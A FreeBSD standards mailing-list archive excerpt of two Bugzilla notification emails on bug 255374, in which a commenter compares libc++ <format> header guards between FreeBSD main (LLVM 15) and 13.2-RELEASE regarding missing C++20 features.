List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D255374 --- Comment #25 from Mark Millard --- (In reply to Yuri Victorovich from comment #23) Looking, I see in main [so: 14 with LLVM 15.0.7 materials] : # more /usr/include/c++/v1/format . . . #ifndef _LIBCPP_FORMAT #define _LIBCPP_FORMAT . . . #include <__assert> // all public C++ headers provide the assertion handler // Make sure all feature-test macros are available. #include // Enable the contents of the header only when libc++ was built with experimental features enabled. #if !defined(_LIBCPP_HAS_NO_INCOMPLETE_FORMAT) . . . #endif // !defined(_LIBCPP_HAS_NO_INCOMPLETE_FORMAT) #endif // _LIBCPP_FORMAT --=20 You are receiving this mail because: You are on the CC list for the bug.= From nobody Wed May 17 07:12:34 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QLknt2KVDz4C0vL for ; Wed, 17 May 2023 07:12:34 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QLknt1CYCz3nf7 for ; Wed, 17 May 2023 07:12:34 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684307554; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=HgK+SvfkzNebh0cJSTLQ2KascZbEkzxR7TW1I38K/kI=; b=S5SS1rSRHxQ7hbnDgfJ82O5kB2eVi2H8WZAmpavIvW+yNIFE48yOrEmaXkQORlEwBQKHxD dKtQD/KrpygPjwSn2rVN4SSGx1LGdSo1AC0U7h0ZXqb2TNT7i/MmS2PJyQ6glbiT8VSVAv JuEBmC5emisziSL2695OBy7PS7S56spmVLkgXJRT7s91HQTCLu2kxlCxUSPo7CNzBJpuqU zyZ+BIGw73q5hkxfxoi6zPZxoCL2mTmYYG+0F5oeAmTTlumozYMVlVIKsHT9iROPuBe2Cu KEwbK45ZiH3YctmlFNmxAPMaEAhLxcQ0VKeRhHXhQStdDfyTgnTh4hNNSasQGg== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684307554; a=rsa-sha256; cv=none; b=C9BYZbLBn51GU7HXSVE7q7w0shP95vtOrWdf8vI1xdZtdkd8VPbJOYBUEy1WcydI1GMcxi iHRPSzwyiwA5Jj2uiWbO4JvKaaBcUGe5LecvKWw5Q8iv8vz+1l8od55gmF8h2et0qKuHaR iNQdFfUVdDHpdk1AN2nGJZo6h9ixiuYHB+oNPIEB2+Rv/06qKKM7+oBTcUwdqQMqArdanp IFQRFCrzxfcc+WhURv+Wn+usLcuPF9t2aFEcaMD5ibgVRrpJkCARX0BAGllYXo53xSiSf+ 6tr/V5ujtRlDNc/8EStk7q4EwUOiiHAKVH+uQRlHUwCA3jF9870QhIFeLF06IQ== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QLknt0HKRzvCK for ; Wed, 17 May 2023 07:12:34 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34H7CXXb091441 for ; Wed, 17 May 2023 07:12:33 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34H7CXVK091440 for standards@FreeBSD.org; Wed, 17 May 2023 07:12:33 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 255374] C++20 features (headers) std::concepts, std::format, std::numbers, std::source_location, etc. are missing Date: Wed, 17 May 2023 07:12:34 +0000 X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.0-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Some People X-Bugzilla-Who: marklmi26-fbsd@yahoo.com X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: dim@FreeBSD.org X-Bugzilla-Flags: maintainer-feedback? mfc-stable13+ mfc-stable12? mfc-stable11- X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D255374 --- Comment #26 from Mark Millard --- (In reply to Mark Millard from comment #25) I found my copy of 13.2-RELEASE and its header is similar in some respects but it instead has: . . . #ifndef _LIBCPP_FORMAT #define _LIBCPP_FORMAT . . . // Enable the contents of the header only when libc++ was built with LIBCXX_ENABLE_INCOMPLETE_FEATURES. #if !defined(_LIBCPP_HAS_NO_INCOMPLETE_FORMAT) . . . #endif // !defined(_LIBCPP_HAS_NO_INCOMPLETE_FORMAT) #endif // _LIBCPP_FORMAT So it looks like there was a reclassification from it being an incomplete-feature in clang 14 to it being an experimental-feature in clang 15. I do not know if FreeBSD has a uniform handling of experimental-status material in its LLVM. It might be that "incomplete feature" is no longer a thing in LLVM --so I'm not sure if the analogous question would even apply now. --=20 You are receiving this mail because: You are on the CC list for the bug.=